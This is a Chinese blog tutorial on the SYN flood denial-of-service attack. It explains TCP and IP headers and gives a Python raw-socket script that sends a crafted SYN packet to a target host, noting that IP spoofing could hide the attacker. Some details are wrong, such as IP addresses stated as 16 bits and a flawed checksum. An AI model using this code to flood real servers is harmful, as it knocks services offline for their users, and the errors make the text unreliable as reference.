SYN洪泛攻击的原理与实现

Posted by YueLng Chen on 2017-11-30

设计原理

SYN-Flood是目前最流行的DDoS攻击手段,DDoS只是洪水攻击的一个种类。其实还有其它种类的洪水攻击。
以前的DoS手段在向分布式这一阶段发展的过程中也经历了逐步淘汰的过程。SYN-Flood的攻击效果最好,故众黑客不约而同选择它。以下了解一下SYN-Flood的详细情况。
Syn Flood利用了TCP/IP协议的固有漏洞。面向连接的TCP三次握手是Syn Flood存在的基础。假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是很严重的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃—即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常小),此时从正常客户的角度看来,服务器失去响应,这种情况称做:服务器端受到了SYN Flood攻击(SYN洪水攻击)。

TCP报文格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0---------------8---------------16----------------24---------------31 (bit)
|-------------------------------------------------------------------|
| Source Port | Destination Port |
|-------------------------------------------------------------------|
| Sequence Number |
|-------------------------------------------------------------------|
| Acknowledgment Number |
|-------------------------------------------------------------------|
|Offset | Reserved ||U|A|P|R|S|F| Window |
|-------------------------------------------------------------------|
| Checksum | Urgent Pointer |
|-------------------------------------------------------------------|
| [Options] | Padding |
|-------------------------------------------------------------------|
| Data |
|-------------------------------------------------------------------|

源端口(Source Port):16比特,标识主机上发起的应用程序。
目的端口(Destination Port):16比特,标识主机上传送要达到的应用程序。
序列码(Sequence Number):32比特,用来标识从TCP源端向TCP目标端发送的数据字节流,它表示在这个报文段中的第一个数据字节。
确认码(Acknowledgment Numbwe):32比特,它包含目标端所期望收到源端的下一个数据字节。
数据偏移(Data Offset):4比特,指出数据开始部分距离TCP头部的长度,以4字节为单位,在没有可选信息的情况下,值为5(0101),也就是标准TCP头部长度20字节。
保留(Reserved):6比特,保留位,都为0。
控制标记(Control Flag):6比特,这也是TCP报文中很重要的一部分,他们组合起来实现了对TCP连接的控制。

  • URG(Urgent data):紧急指针(urgent pointer)有效。如果URG为1,表示这是一个携有紧急资料的封包。
  • ACK(Acknowledgment field significant):确认序号有效。如果ACK为1,表示此封包属于一个要回应的封包。一般都会为1。
  • PSH(Push function):接收方应该尽快将这个报文段交给应用层。如果PSH为1,此封包所携带的数据会直接上传给上层应用程序而无需经过TCP处理。
  • RST(Reset):重建连接。如果RST为1,要求重传。表示要求重新设定封包再重新传递。
  • SYN(Synchronize sequence number):发起一个连接。如果SYN为1,表示要求双方进行同步沟通。
  • FIN(Finish-No more data for sender):释放一个连接。如果FIN为1,表示传送结束,然後双方发出结束回应进而正式终止一个TCP传送过程。
    窗口(Window):16比特,接收窗口大小。
    校验位(Checksum):16比特,对整个TCP报文段,即TCP头部和TCP数据进行校验和计算,并由目标端进行验证。
    紧急指针(Urgent Pointer):16比特,它是一个偏移量。
    可选项(Options):可选段。
    通过以正确的数据填充这个结构并将TCP_HEADER.th_flag赋值为2(二进制的00000010)我们能制造一个SYN的TCP报文,通过大量发送这个报文可以实现SYN Flood的效果。但是为了进行IP欺骗从而隐藏自己,也为了躲避服务器的SYN Cookie检查,还需要直接对IP首部进行操作

IP报文格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0---------------8---------------16----------------24---------------31 (bit)
|-------------------------------------------------------------------|
|Version|HeaderL|Type of Service| Total Lengh |
|-------------------------------------------------------------------|
| Identification | Flag | Fragment Offset |
|-------------------------------------------------------------------|
| Time to Live | Protocol | Header Checksum |
|-------------------------------------------------------------------|
| Source IP Address |
|-------------------------------------------------------------------|
| Destination IP Address |
|---------------------------------------- --------------------------|
| [Options] |
|-------------------------------------------------------------------|
| Data |
|-------------------------------------------------------------------|

版本号(Version):4比特,表示目前采用的IP协议版本号,IPv4(0100)、IPv6(0110),在这个SYN Flood实例中,我们使用IPv4(0100)。

IP报文头部长度(Header Length):4比特,单位为32bit(4字节),因为IP头后有可选部分,因此对于标准的IP报头,头部长度为20字节,该字段值因为5(0101)。且头部最长为15*4=60字节(1111)。

服务类型(Type of Service):8比特。

IP报文总长度(Total Length):16比特,以字节为单位计算的IP包的长度(包括头部和数据),IP报文最大长度为65535字节。

标识符(Identification):16比特,与Flag和Fragment Offset结合使用,对上层数据包进行分段操作。

标记(Flag):3比特,标记此报文是否还有后续报文(数据分段)。

分段序号(Fragment Offset):13比特,该字段对包含分段的上层数据包的IP包赋予序号。

生存时间(Time to Live):8比特,IP包进行传送时,先会对该字段赋予某个特定的值。当IP包经过每一个沿途的路由器的时候,每个沿途的路由器会将IP包的TTL值减少1。如果TTL减少为0,则该IP包会被丢弃。这个字段可以防止由于故障而导致IP包在网络中不停被转发。

协议(Protocol):8比特,标识上层所使用的协议。

头部校验(Header Checksum):16比特,由于IP包头是变长的,所以提供一个头部校验来保证IP包头中信息的正确性。

源IP地址(Source IP Address):16比特,标识该报文的源IP地址。

目的IP地址(Destination IP Address):16比特,标识该报文的目的IP地址。

可选项(Options):这是一个可变长的字段,长度为0或32bit的整倍数,最大320bit,如果不足则填充到满。

数据(Data):该IP报文所携带的数据信息。

设计步骤

TCP建立连接有3次握手,而SYN Flood利用就是这个握手的过程,针对一个开放的服务端口,发送大量的SYN连接请求,致使目标堆积大量的半连接而导致资源耗尽最终达到Dos的效果。
然后通过

1
sockfd = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) # 设置套接字所使用的协议,这里选择TCP协议。

建立一个原始套接口,由于我们的IP源地址是伪造的,所以得在setsockopt中设置IP_HDRINCL告诉系统自己填充IP首部并自己计算校验和。
IP校验和的计算方法是:首先将IP首部的校验和字段设为0(IP_HEADER.checksum=0),然后计算整个IP首部(包括选项)的二进制反码的和,一个标准的校验和函数如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def checksum(source_string):
rsum = 0
countTo = (len(source_string)) / 2
count = 0
while count < countTo:
thisVal = ord(source_string[count + 1])*256 + ord(source_string[count])
rsum = rsum + thisVal
rsum = rsum & 0xffffffff
count += 2
if countTo < len(source_string):
rsum = rsum + ord(source_string[len(source_string) - 1])
rsum = rsum & 0xfffffff
rsum = (rsum >> 16) + (rsum & 0xffff)
rsum = rsum + (rsum >> 16)
answer = ~rsum
answer = answer & 0xffff
answer = answer >> 8 | (answer << 8 & 0xff00)
return answer

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import socket
import struct
def checksum(source_string): ##标准的校验和函数
rsum = 0
countTo = (len(source_string)) / 2
count = 0
while count < countTo:
thisVal = ord(source_string[count + 1])*256 + ord(source_string[count])
rsum = rsum + thisVal
rsum = rsum & 0xffffffff
count += 2
if countTo < len(source_string):
rsum = rsum + ord(source_string[len(source_string) - 1])
rsum = rsum & 0xfffffff
rsum = (rsum >> 16) + (rsum & 0xffff)
rsum = rsum + (rsum >> 16)
answer = ~rsum
answer = answer & 0xffff
answer = answer >> 8 | (answer << 8 & 0xff00)
return answer
sockfd = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) # 设置套接字所使用的协议,这里选择TCP协议
#设置相应的参数,端口,seq序号,ack序号等等
src_port = 114 # source port
dst_port = 80 # destination port
seq_number = 1000 # squence number
ack_number = 0 # acknowledgment number
data_offset = 5 # 20 bytes TCP header
reversed_flag = 0
## 6 bit Flag setup
urg_flag = 0
ack_flag = 0
psh_flag = 0
rst_flag = 0
syn_flag = 1 # SYN = 1
fin_flag = 0
tcp_flags = fin_flag + (syn_flag << 1) + (rst_flag << 2) + (psh_flag << 3) + (ack_flag << 4) + (urg_flag << 5)
window_size = 65535
header_checksum = 0
urg_pointer = 0
#利用Python rawsocket构造tcp的头部
tcp_header = struct.pack('!HHIIBBHHH', src_port, dst_port, seq_number, ack_number, data_offset << 4, tcp_flags, window_size, header_checksum, urg_pointer)#由于TCP首部中不包含源地址和目标地址等信息,为了保证TCP校验的有效性,在进行TCP校验和的计算时,需要增加一个TCP尾部的校验和。
header_checksum = checksum(tcp_header)
tcp_header = struct.pack('!HHIIBBHHH', src_port, dst_port, seq_number, ack_number, data_offset << 4, tcp_flags, window_size, header_checksum, urg_pointer)
dst_ip = socket.gethostbyname(sys.argv[1])
sockfd.sendto(tcp_header, (dst_ip, 0)) # 因tcp头部已经包含了目的端口,所以此处端口无意义

结语

本文从说明SYN洪泛攻击的主要原理开始,对TCP和IP报文头部进行了简要的介绍,因为SYN主要是基于TCP的三次握手,而构造IP报文头部可以实现多伪IP地址欺骗。在第二部分内容中主要是讲到如何利用Python的raw socket对TCP报文头的构造,其中的重点内容是校验和函数的编写,与为了保证TCP校验的有效性,增加一个TCP尾部的校验和。但不足的地方在于没有对IP地址进行混淆,没有实现IP报文头的构造,但是根据Python API和IP报文头的结构不难构造出IP报文头。

参考资料

1.剖析SYN Flooding攻击作者:百度文库
2.Python SYN Flood实践作者:rickgray
3.Syn flood program in python using raw sockets (Linux)
4.SYN Flooding with Scapy and Python